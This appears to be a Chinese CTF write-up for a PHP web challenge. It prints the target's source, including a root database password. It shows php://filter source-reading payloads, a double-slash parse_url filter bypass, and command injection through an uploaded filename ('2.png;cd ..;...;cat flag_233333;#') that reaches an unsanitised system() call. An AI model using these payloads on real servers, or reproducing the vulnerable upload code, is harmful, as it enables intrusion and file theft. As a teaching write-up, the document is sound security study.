考点
- 代码审计
- parse_url绕过
- 文件包含
- php://filter源码读取
题解
打开题目,是一个登陆界面:
我先尝试sql注入,但是没什么可以进行注入的点。上工具扫描目录:
两次扫描发现了一些页面:
1 2 3 4 5 6 7 8
| /config.php /index.php /index.php/login/ /info.php /login.php /templates /register.php /user.php
|
其中/index.php/login
就是登录界面的简陋版本:
然后还有一个注册页面,先注册一个账号,登录之后,跳转到页面/user.php?page=guest
:
在这里发现了一个可疑的文件包含的点。简单的fuzz之后,发现怎么包含都不对,尝试一下读取源码:
1
| /user.php?page=php://filter/read=convert.base64-encode/resource=config
|
解码后得到user.php
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){ Header("Location: index.php");
} if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_admin; }else{ $oper_you_can_do = $OPERATE; }
if($_SESSION['isadmin'] === '1'){ if(!isset($_GET['page']) || $_GET['page'] === ''){ $page = 'info'; }else { $page = $_GET['page']; } } else{ if(!isset($_GET['page'])|| $_GET['page'] === ''){ $page = 'guest'; }else { $page = $_GET['page']; if($page === 'info') {
Header("Location: user.php?page=guest"); } } } filter_directory();
include "$page.php"; ?>
|
user.php
中包含了function.php
,同样读取源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| <?php session_start(); require_once "config.php"; function Hacker() { Header("Location: hacker.php"); die(); }
function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function filter_directory_guest() { $keywords = ["flag","manage","ffffllllaaaaggg","info"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function Filter($string) { global $mysqli; $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password"; $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><"; for ($i = 0; $i < strlen($string); $i++) { if (strpos("$whitelist", $string[$i]) === false) { Hacker(); } } if (preg_match("/$blacklist/is", $string)) { Hacker(); } if (is_string($string)) { return $mysqli->real_escape_string($string); } else { return ""; } }
function sql_query($sql_query) { global $mysqli; $res = $mysqli->query($sql_query); return $res; }
function login($user, $pass) { $user = Filter($user); $pass = md5($pass); $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'"; echo $sql; $res = sql_query($sql);
if ($res->num_rows) { $data = $res->fetch_array(); $_SESSION['user'] = $data[username_which_you_do_not_know]; $_SESSION['login'] = 1; $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too]; return true; } else { return false; } return; }
function updateadmin($level,$user) { $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' "; echo $sql; $res = sql_query($sql);
if ($res == 1) { return true; } else { return false; } return; }
function register($user, $pass) { global $mysqli; $user = Filter($user); $pass = md5($pass); $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')"; $res = sql_query($sql); return $mysqli->insert_id; }
function logout() { session_destroy(); Header("Location: index.php"); }
?>
|
config.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(E_ERROR | E_WARNING | E_PARSE); define(BASEDIR, "/var/www/html/"); define(FLAG_SIG, 1); $OPERATE = array('userinfo','upload','search'); $OPERATE_admin = array('userinfo','upload','search','manage'); $DBHOST = "localhost"; $DBUSER = "root"; $DBPASS = "Nu1LCTF2018!@#qwe";
$DBNAME = "N1CTF"; $mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME); if(mysqli_connect_errno()){ echo "no sql connection".mysqli_connect_error(); $mysqli=null; die(); } ?>
|
分析上面这段代码,可以看到在user.php
中调用了函数user.php
:
分析该函数,会对$_SERVER["REQUEST_URI"]
(当前的URL地址,比如http://www.example.com/aaa.php ,获得的就是/aaa.php)进行一个检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
|
但是他是用parse_uri
来解析URL的:
在缺省第2个参数的情况下,会返回一个array,比如有一个简单的例子:
1 2 3 4
| <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); ?>
|
返回的结果是:
1 2 3 4 5 6 7 8 9 10
| Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor )
|
又有另一个例子(测试php版本为7.2):
可以看到在高版本php中可以在/path
前面再加两个//
来绕过parse_url
。
所以可以加个/
绕过检查(不够就用两个/
):
1
| //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
|
得到源码,解码:
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; } ?>
|
提示我们去看m4aaannngggeee
,那再读一下:
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload.html";
?>
|
这套娃吗,一层套一层,去templates/upload.html
看看:
有一个上传的接口,尝试上传一张图片,上传后跳转到templates/upllloadddd.php
,上传失败:
有点奇怪,读一下upllloadddd.php
源码:
1
| //user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
|
解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>
|
在上面这段代码中发现了一个任意命令执行的点,$filename
参数是完全可控的:
1
| system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
|
尝试在文件名中注入命令1.png;ls;#
,因为已经知道了templates/upllloadddd.php
并不存在,但是upllloadddd.php
是确实存在的,所以修改post请求包,直接向该页面请求:
没找到flag文件,去根目录下看看,但我直接用ls /
有点问题啊:
换种思路2.png;cd ..;cd ..;cd ..;ls;#
:
发现了flag_233333
,读取flag,2.png;cd ..;cd ..;cd ..;cat flag_233333;#
:
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好